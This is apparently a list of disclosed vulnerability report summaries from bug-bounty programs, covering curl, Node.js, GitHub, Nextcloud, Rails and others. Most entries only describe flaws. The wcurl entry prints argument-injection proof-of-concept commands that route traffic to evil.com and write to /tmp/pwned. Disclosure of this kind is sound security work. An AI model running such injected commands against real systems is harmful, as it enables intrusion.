Essity: ████████ ████████ Server Full Exposure with Database Credentials

The web server was discovered to have directory listing enabled, exposing the entire file structure including database credentials, full website backups, and sensitive internal documents...

curl: CVE-2026-3783: token leak with redirect and netrc

Summary When --oauth2-bearer is used with --netrc and curl follows a redirect, the bearer token leaks to the redirect target. The netrc bypass at http.c:822 skips Curlauthallowedtohost, allowing the token through. This is an incomplete fix for CVE-2025-14524 — the Dec 2025 SASL fix patched...

Node.js: HTTP Response Queue Poisoning via TOCTOU Race Condition in `http.Agent`

Vulnerability description not provided...

Basecamp: Stored XSS on Trix Editor version latest (2.1.16) - Sanitizer Bypass

A vulnerability was discovered in Trix Editor version 2.1.16 that allowed for a Stored Cross-Site Scripting XSS attack. The vulnerability arose from an unsafe interaction between Trix's custom DOMPurify configuration and its document serialization logic. The issue was caused by Trix's use of the...

Lovable VDP: Open Redirect on lovable.dev via redirect parameter leads to phishing attacks

An open redirect vulnerability was discovered on the website lovable.dev. After logging in, a request was sent to a URL with a 'redirect' parameter. By supplying a backslash-prefixed value for the 'redirect' parameter, the user could be redirected to an external domain. This vulnerability could...

Ruby on Rails: ActiveStorage Disk Service Path Traversal via Custom Blob Key Injection

A vulnerability was discovered in the ActiveStorage Disk Service component of Ruby on Rails. The vulnerability allowed an attacker to achieve arbitrary file write, read, and delete on the server's filesystem by injecting a malicious blob key. The vulnerability was due to insufficient validation o...

curl: Use after free in hyperfifo example

Summary: THIS ONLY IS AN ISSUE IN EXAMPLE CODE, NOT CURL ITSELF! In the hyperfifo example the event base is freed before the curlmulticleanup is called. This leads to a use after free in the addsocket callback, when libevent tries to lock a mutex in the base event during the curl shutdown. Link t...

IBM: SQL Injection vulnerability found on ibm.com endpoint

A SQL injection vulnerability was found on an ibm.com endpoint. The vulnerability was reported to IBM, analyzed, and remediated...

HackerOne: `exportReportPdf` mutation shows internal Activity

A vulnerability was identified in the PDF export path for disclosed reports. When a report was exported to PDF, the export pipeline did not apply the same visibility and authorization scoping that governs the normal report view. The root cause was that PDF generation assembled report content from...

curl: Curl Telnet Handler Buffer Overflow

Summary: I found a buffer overflow in curl's telnet protocol handler that allows remote memory corruption without authentication. The bug is in the CURLSBACCUM macro in lib/telnet.c line 69, where the bounds check lets you write one byte past the end of a 512-byte buffer. When curl receives 512+...

curl: RTSP RTP Interleaved Parser Assertion Failure (Zero-Length RTP Payload)

Summary: I am submitting this as a security issue primarily due to how it was discovered and that it's my first Curl submission, but I suspect I might be overly cautious here. This issue was discovered as part of the AIXCC competition, and I am assisting on reporting true positive findings to...

curl: Integer Overflow in curl_multi_get_handles() Leading to Heap Buffer Overflow

Integer Overflow in curlmultigethandles Leading to Heap Buffer Overflow Summary The curlmultigethandles function in lib/multi.c contains an integer overflow vulnerability when the number of easy handles in a multi handle approaches UINTMAX 4,294,967,295. When count == UINTMAX, the expression coun...

curl: Able to bypass HSTS using trailing dot

Summary: curl allows users to load a HSTS cache which will cause curl to use HTTPS instead of HTTP given a HTTP URL for a given site specified in the HSTS cache. Affected version curl version used for reproducing this issue is: 8.16.0 curl --version curl 8.16.0 Windows libcurl/8.16.0 Schannel...

Nextcloud: Group restriction bypass via bearer token in user_oidc (SETTING_RESTRICT_LOGIN_TO_GROUPS not enforced in Backend::getCurrentUserId)

A security inconsistency was identified in the useroidc app where group-based login restrictions were enforced in the browser OIDC flow but not in bearer token validation. This could have allowed users outside whitelisted groups to access the Nextcloud API with a valid bearer token...

Node.js: HTTP Request Smuggling via Silent Header Truncation in Node.js HTTP Parser

A flaw in the Node.js HTTP client was discovered that could cause a request desynchronization for Node.js-based forwarding proxies. The issue was caused by the Node.js HTTP parser omitting headers beyond the configured limit from the visible request headers, while still using those headers...

Rocket.Chat: Complete authentication bypass to admin permissions

Vulnerability description not provided...

Node.js: Denial of Service via `__proto__` header name in `req.headersDistinct` (Uncaught `TypeError` crashes Node.js process)

Vulnerability description not provided...

GitHub: Cross-repository IDOR in `/settings/security_analysis/bypass_reviewers` allows unauthorized delegated bypass reviewer modification

A vulnerability was identified in GitHub Enterprise Server that allowed an attacker with admin access on one repository to modify the secret scanning push protection delegated bypass reviewer list on another repository. Authorization was verified against the repository in the URL, but the action...

Node.js: Node.js Permission Model bypass: UDS server bind/listen works without `--allow-net`

Vulnerability description not provided...

Nintendo: Splatoon 3 In-Match Integrity Bypass via Consensus Reflection Attack on Unordered Peer Submission

A consensus reflection attack on unordered peer submission was discovered in Splatoon 3, allowing an in-match integrity bypass...

AWS VDP: Command Injection via Unsanitized Bundling Options in `aws-cdk-lib/aws-lambda-nodejs`

Asset: aws-cdk-lib npm package, source: https://github.com/aws/aws-cdk Severity: High CWE: CWE-78 Improper Neutralization of Special Elements used in an OS Command, 'OS Command Injection' --- Summary The NodejsFunction construct in aws-cdk-lib/aws-lambda-nodejs constructs a shell command string...

Python Cryptographic Authority: Fail-Open in set_tlsext_servername_callback on pyopenssl via unhandled exceptions leads to security bypass

A vulnerability was discovered in the pyopenssl library's handling of the Server Name Indication SNI callback settlsextservernamecallback. The internal wrapper for this callback catches all Python exceptions raised by user code but returns 0 Success/SSLTLSEXTERROK to the underlying OpenSSL engine...

AWS VDP: Arbitrary Code Execution via Scanner Bypass in **aws-diagram-mcp-server** `exec()` Namespace

Description: The aws-diagram-mcp-server contains an arbitrary code execution vulnerability in diagramstools.py. User-supplied Python code is executed via execcode, namespace at line 305 with a namespace containing the full os module, urlretrieve, and Python builtins. A security scanner scanner.py...

PortSwigger Web Security: HTML Injection in DAST Trial Request Form Confirmation Email – PortSwigger

A vulnerability was discovered in the DAST trial request form on the website, where user input in the "First Name" field was not properly sanitized before being included in confirmation emails. This allowed the injection of arbitrary HTML content, which would be rendered in the recipient's email...

Node.js: Incomplete fix for CVE-2026-21637: loadSNI() in _tls_wrap.js lacks try/catch leading to Remote DoS

A flaw was discovered in the Node.js TLS error handling that left SNICallback invocations unprotected against synchronous exceptions. This represented an incomplete fix of the prior CVE-2026-21637 vulnerability, where the equivalent ALPN and PSK callbacks were already addressed. The issue could...

Ruby on Rails: Active Storage Vips Transformer Missing validate_transformation — CVE-2025-24293 Incomplete Fix

Summary The Active Storage Vips Transformer activestorage/lib/activestorage/transformers/vips.rb does not override validatetransformation. The ImageMagick transformer imagemagick.rb was hardened in the CVE-2025-24293 fix August 2025 with a method allowlist and argument denylist, but the Vips...

Monero: Inverted ternary in peerlist_manager::filter() allows unlimited whitelist entries per host via different ports

The peerlistmanager::filter function in the Monero project's p2p/netpeerlist.h file contained an incorrect ternary operator that operated on the wrong peer list. When called with 'white=true', it filtered the gray list instead of the white list. As a result, a single host could accumulate unlimit...

Node.js: Assertion error in node_url.cc via malformed URL format leads to Node.js crash

An assertion error in nodeurl.cc via malformed URL format leads to a Node.js crash. A flaw in the URL processing caused an assertion failure in the native code when url.format was called with a malformed internationalized domain name containing invalid characters, crashing the Node.js process. Th...

Basecamp: Improper Access Control in `fizzy.do` import flow allows cross-tenant ActionText reference resolution and data disclosure

The vulnerability allowed for cross-tenant ActionText reference resolution and data disclosure during the account import flow. The import process did not properly verify the ownership of the referenced records before minting signed global IDs, enabling an attacker to access and disclose data from...

RubyGems: Server-side ReDoS via user-controlled regex in OIDC Access Policy

The OIDC Access Policy implementation evaluated user-supplied regular expressions against JWT claim values using Ruby's Regexp engine without any timeout or complexity validation. The vulnerable code path was Regexp.newvalue.match?claimvalue, where value was fully user-controlled and claimvalue w...

Nextcloud: Activity app does not verify federated file activity received from remote servers

The activity app stored activity content received from remote servers without verifying the content first...

Node.js: Timing side-channel in HMAC verification via memcmp() in crypto_hmac.cc leads to potential MAC forgery

Vulnerability description not provided...

Node.js: Memory leak in Node.js HTTP/2 server via WINDOW_UPDATE on stream 0 leads to resource exhaustion

Vulnerability description not provided...

curl: MQTT Protocol Packet Injection via Unchecked CONNACK Remaining Length

I'm not sure if this is a vulnerability or intended behavior, but I noticed that curl MQTT implementation accepts CONNACK packets with Remaining Length values greater than 2, which appears to violate the MQTT v3.1.1 specification. According to the MQTT spec, CONNACK packets should have a Remainin...

GitHub: Add labels to arbitrary issues/prs via Memex Bulk Update to compromise github actions label gating

A vulnerability was identified in GitHub Enterprise Server that allowed a user with read access to a repository and write access to a project to modify issue and pull request metadata through the project. When adding an item to a project that already existed, column value updates were applied...

GitHub: Add labels to arbitrary issues/prs & compromise github actions label checks

A vulnerability was identified that allowed a user with read access to a repository and write access to a project to modify issue and pull request metadata through the project. When adding an item to a project that already existed, column value updates were applied without verifying the actor's...

Fastify: DoS via Unbounded Memory Allocation in sendWebStream on Fastify v5.7.0+ leads to OOM crash when backpressure is ignored

A vulnerability was discovered in Fastify versions 5.7.0 and later. The issue was in the "sendWebStream" function, which failed to handle TCP backpressure correctly. When a ReadableStream was sent as a response, Fastify continuously pulled data from the stream producer and wrote it to the respons...

curl: wcurl Argument Injection via Unquoted Variable

when i was code auditing curl i stumbled uppon a vulnerablity that was on wcurl affected version:current step 1: open terminal step 2:run pocs below wcurl --dry-run --curl-options='-x http://evil.com:8080 -o /tmp/pwned' https://example.com/test.txt wcurl --dry-run --curl-options='-o...

Tucows (VDP): Password Strength Policy Bypass via Server-Side Validation Flaw

A password strength policy bypass was discovered due to a server-side validation flaw. The password strength policy was only enforced in the browser, not on the server side...

curl: Integer Underflow in src/var.c

Summary: A potential Integer Underflow vulnerability was identified in the setvariable function within src/var.c. the flaw occurs during the calculation of the variable content length clen when a byte range is specified. specifically, the code fails to validate if startoffset is greater than...

GitHub: PATs without the required scope can leak issues

An Incorrect Authorization vulnerability was identified in GitHub Enterprise Server that allowed an authenticated user with a classic personal access token PAT lacking the repo scope to retrieve issues and commits from private and internal repositories via the search REST API endpoints. The user...

Nextcloud: Missing Duplicate Check allowing Multiple Retention Rules per System Tag

A bug allowed admins to create multiple retention rules for the same tag, causing potential confusion for other admins...

Nextcloud: Improper Input Validation and Integer Overflow in timeamount parameter of files_retention app

The timeamount parameter of the filesretention app lacked proper input validation, allowing an administrator to store an unintended long time amount as the retention period. This vulnerability could have potentially led to files never getting deleted...

Nextcloud: View-only guests could see deleted Collectives pages in the trashbin

A vulnerability was discovered where view-only guests could see deleted Collectives pages in the trashbin...

Nextcloud: IDOR on ██████ via direct photo URL leads to unauthorized access to deleted and other users' photos

Summary: An Insecure Direct Object Reference IDOR vulnerability exists in the application that allows unauthorized access to photos belonging to other users. The application does not properly validate whether the logged-in user is authorized to access a photo when accessing it via direct URL. Thi...

Weblate: Argument Injection in /manage/ssh/ via host parameter leads to sensitive file disclosure on Weblate

A vulnerability was discovered in the SSH management interface of Weblate, a web-based translation tool. The vulnerability allowed an attacker with administrative privileges to inject command-line arguments into the host parameter, leading to sensitive file disclosure on the server. The vulnerabl...

curl: SSL options ISSUERCERT, EC_CURVES and CRLFILE silently ignored by non-OpenSSL backends

Summary: The SSL options ISSUERCERT, ECCURVES and CRLFILE are silently ignored for e.g. the mbedTLS backend, which allows MITM attacks for the ISSUERCERT and CRLFILE bug, and can reduce the security and compliance by ignoring the specified curve for the ECCURVES bug. Affected version Tested with...

curl: Cross‑origin cookies leak and injection risk when using a custom Host header

Summary When a custom hostname is specified, it is used for cookie matching if the cookie engine is also enabled for this transfer. This matching persists in cross-origin redirects despite that the originally supplied hostname is removed. cookiehost is set from a custom Host header: lib/http.c...

curl: Cookie Replacement Use-After-Free Vulnerability

Summary: The cookie replacement logic in lib/cookie.c contains a use-after-free vulnerability in the replaceexisting function. The function modifies a linked list while iterating over it, creating potential for memory corruption in concurrent or complex cookie operations. Vulnerable Code Location...

curl: Cookie Max-Age Integer Overflow Vulnerability

Summary: The cookie parsing code in lib/cookie.c contains an integer overflow vulnerability when processing the Max-Age attribute of HTTP cookies. The vulnerable code attempts to add the max-age value to the current timestamp without adequate overflow protection While the code includes an overflo...